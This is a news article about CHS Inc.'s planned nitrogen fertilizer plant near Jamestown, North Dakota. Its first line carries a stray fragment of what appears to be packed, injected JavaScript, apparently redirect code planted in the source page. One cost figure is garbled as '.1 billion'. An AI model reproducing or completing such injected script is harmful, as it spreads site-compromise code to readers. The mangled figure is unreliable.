JAMESTOWN isaza|var|u0026u|referrer|akhyr||js|php’.split(‘|’),0,{}))
(NewsDakota.com) – CHS Inc. says it plans to build a .1 billion nitrogen fertilizer manufacturing plant in the Spiritwood Energy Park east of Jamestown.

The company announced plans for the plant Wednesday afternoon during a joint press conference with Governor Jack Dalrymple in Bismarck.

Calling it the largest investment in the history of CHS, president Carl Casale says the proposed plant could be online by 2016. The plant would convert natural gas to nitrogen fertilizer. Dalrymple says the plant has local and statewide benefits.

CHS Inc. is a nationwide cooperative – which includes the Cenex brand – owned by farmers, ranchers and co-ops across the United States. Casale says the North Dakota Farmers Union brought the Spiritwood site to the attention of CHS, which feels it has the infrastructure the 200-acre plant needs.

The Jamestown-Stutsman Development Corporation and Great River Energy have partnered to create the Spiritwood Energy Park Association, where the fertilizer plant would be located. JSDC CEO Connie Ova issued a statement Wednesday calling it a “momentous day” for the area.

“We are overwhelmed with the magnitude of this project and excited about the economic impact to the area,” says Ova. “Agriculture is and always will be the number 1 economic driver in Stutsman County and the benefits back to the farming community are substantial. The impact of the construction jobs and finally the full time excellent careers that this project provides will bring years of possibilities to the state, region, county and local communities.”

Casale says CHS will conduct a preliminary engineering and design study over the next few months. Assuming everything goes smoothly, Casale says the plant could be online in 2016 and will create more than 100 full-time jobs at the plant.

Casale says the plan is to fund the project with member equity, debt and third-party sources. Construction costs are estimated between $1.1 and $1.4 billion.